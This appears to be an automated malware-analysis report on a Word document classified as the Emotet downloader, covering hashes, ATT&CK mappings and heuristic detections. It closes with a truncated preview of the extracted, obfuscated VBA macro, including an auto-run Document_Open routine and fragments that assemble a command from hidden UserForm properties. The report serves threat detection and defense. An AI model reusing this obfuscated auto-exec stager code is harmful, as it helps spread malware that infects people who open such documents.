Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bc3e122134e320b9…

MALICIOUS

Office (OLE)

207.2 KB Created: 2019-12-19 23:35:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 8d4aea6f04538a6d06b72adc51c843f7 SHA-1: f90292f8960782db632bc0059cc7fe5c7284b4e5 SHA-256: bc3e122134e320b9abe1c624bd130631bd2c9cd5b799a60f1071f5791f69b56b
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The file contains VBA macros, specifically a Document_Open macro designed to execute automatically. Critical heuristics indicate a hidden command stager using CreateObject and GetObject, consistent with Emotet's typical behavior of downloading and executing additional payloads. The ClamAV detection explicitly names Emotet, further supporting this classification.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7592078-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7592078-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13577 bytes
SHA-256: 11652af314a4cb01ee5bab630e694d7a6ff51a41150f073da0906b0071cc02f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Awbzczxrlaki"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Savlwhmtqcma, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Mmfvmfiu = "Ea quidem explicabo ut non."
Dim Bzkpvpmxa As Double
Dim Qlcuotim As Double
Tfcsqelmfcruo = ("Marta")
Dim Vhkwrjfgaw As Boolean
Dim Aylahhli As Integer
Dim Wflaludlv As Integer
Ktlxqwnn = Wpakotcj
Dim Rqnlfkqy As Double
Oadaqezc = ("Sed.")
Dim Yuueapkqwb As Integer
Dim Iultfarf As Boolean
Dim Dwnwlatjuzr As String
Wwjkqazb = "Blanditiis ut sapiente consequatur similique corporis enim sed ipsa."
Dim Mrjpxzyk As Boolean
Dim Jrxqedkwm As Boolean
Dim Kgqowwqb As Boolean
Mtubeclwk = ("Ida")
Dim Fxufzsgmqco As String
Cksaadij = 110
Wxcpzayaclmfj = Xdjoodyquz
Kwgmexyxiw = 272
Aereqzhaqhoa
   Bymobfubv = "Quas et quaerat."
Dim Oasbripp As String
Dim Lumymuipbf As Double
Lvspjvnbsr = ("Libero non dicta.")
Dim Anitsfwi As Integer
Dim Pdzqolmmtcsep As Boolean
Dim Bztbgruvky As String
Owwjznofoq = Cpgxwjwyl
Dim Gcgqeviospz As Integer
Xstqarulfmz = ("Veniam.")
Dim Wzbcazefqg As String
Dim Kkgbbrdsqaeqf As Integer
Dim Pfaqhzuyimqp As String
Khlasqhojevv = "Reiciendis."
Dim Wulwcfpzpqlx As String
Dim Xolcdzgtsp As String
Dim Mbvwulbab As Boolean
Tmtdkruo = ("Eveniet.")
Dim Vqvtsryn As String
Vjutndsv = 281
Pkjnrpkvvbxbr = Kadctdmylejr
Hyyozklhhbd = 122
End Sub

Attribute VB_Name = "Lzixyary"
Attribute VB_Base = "0{37B1A8D0-0F05-4E91-97D2-1F5513C8DC09}{C58E1F97-2AB6-4280-98AD-B2B9AF361CC7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Akwsemkkg"
Function Ktufhdhlfcljq()
   Pxjtxrxbs = "Fuga autem nihil."
Dim Exvqoccmo As Integer
Dim Ohixeqbg As Boolean
Ayfidhrjq = ("Jeffery")
Dim Exzsxccrvtval As Integer
Dim Kanhzlvx As Boolean
Dim Qhkvkdxbgjjie As String
Zpkoeytzbwr = Eljzvthurw
Dim Yyfzrcvhsaw As Integer
Zbwhjythox = ("Aut iste dolore dolorem.")
Dim Kmkytitzygzoa As Boolean
Dim Voqepyrwslmh As Boolean
Dim Ijakzhpkizsd As Boolean
Sbihadxtyt = "Pariatur aliquam et ut pariatur."
Dim Sqsngavi As Double
Dim Ydabelfrllogd As Boolean
Dim Fhuuplhf As String
Zsvsricuvce = ("Earum.")
Dim Zmohhtmmmbkbs As Boolean
Amrycmeskzu = 981
Mioyyjuibe = Ldmrkqzhot
Gemutdinqb = 160
Ielikztmfh = Awbzczxrlaki.Savlwhmtqcma
   Tcfweuefetrro = "Elvira"
Dim Hwtucfox As Double
Dim Fxubqjujp As Boolean
Ajfcxozcwgk = ("Doloribus.")
Dim Yxdcqreepoyxj As Integer
Dim Jxizznhnorf As Integer
Dim Utbvzydtgrs As Integer
Klugfnllt = Lzjrkpllbpkvn
Dim Laudfqasdwthl As Double
Daudjzpmj = ("Laboriosam aut quasi nam.")
Dim Gwsapgchc As Double
Dim Qthkhfuqizu As Boolean
Dim Jbktywnlmz As String
Zcgnfeot = "Qui non earum."
Dim Avzsjrsifm As String
Dim Rovijgxfd As String
Dim Ghcodcvfczybp As Double
Mwsetxdul = ("Dana")
Dim Wuiwhgfxtlg As Double
Fkgygsngoet = 817
Zaacmqvmfa = Rrvratgtd
Qfntfkiqow = 296
Bguzucpzt = Ielikztmfh + Lzixyary.Gjyjieogtinrx + Lzixyary.Habytexehwdfz + Lzixyary.Octnredgfsshq
   Lbedhceh = "Ea optio labore."
Dim Cafquyvzwa As Boolean
Dim Fblyqoeu As Double
Yniynntzu = ("Veniam modi.")
Dim Iobqnwyyjep As Double
Dim Wcsilqdzg As Boolean
Dim Siwlifwg As Double
Wnjhcsgwuai = Bkvkoepp
Dim Zyfznpdijht As String
Iaixxdlwtzh = ("Tenetur quam qui.")
Dim Nvibxztw As Boolean
Dim Xttgrsylhc As Double
Dim Jfhsmrufzx As String
Chzijugryr = "Perspiciatis nesciunt culpa temporibus."
Dim Exuduoase As Boolean
Dim Cuemccejzo As Double
Dim Jsqbnveo As Boolean
Cooxrlkxlibw = ("Jackie")
Dim Ehdptilpxtk As Integer
Mnwamtir = 353
Fktzccxbmvdxf = Ujimqvmghyj
Pdnwojyea = 362
Mrnqwfjiz = Bguzucpzt + Lzixyary.Ggkdjkyrqz + Lzixyary.Ljrpuasic.Factoid
   Dmfsrdsoqupuq = "Qui rerum aperiam sequi officia."
... (truncated)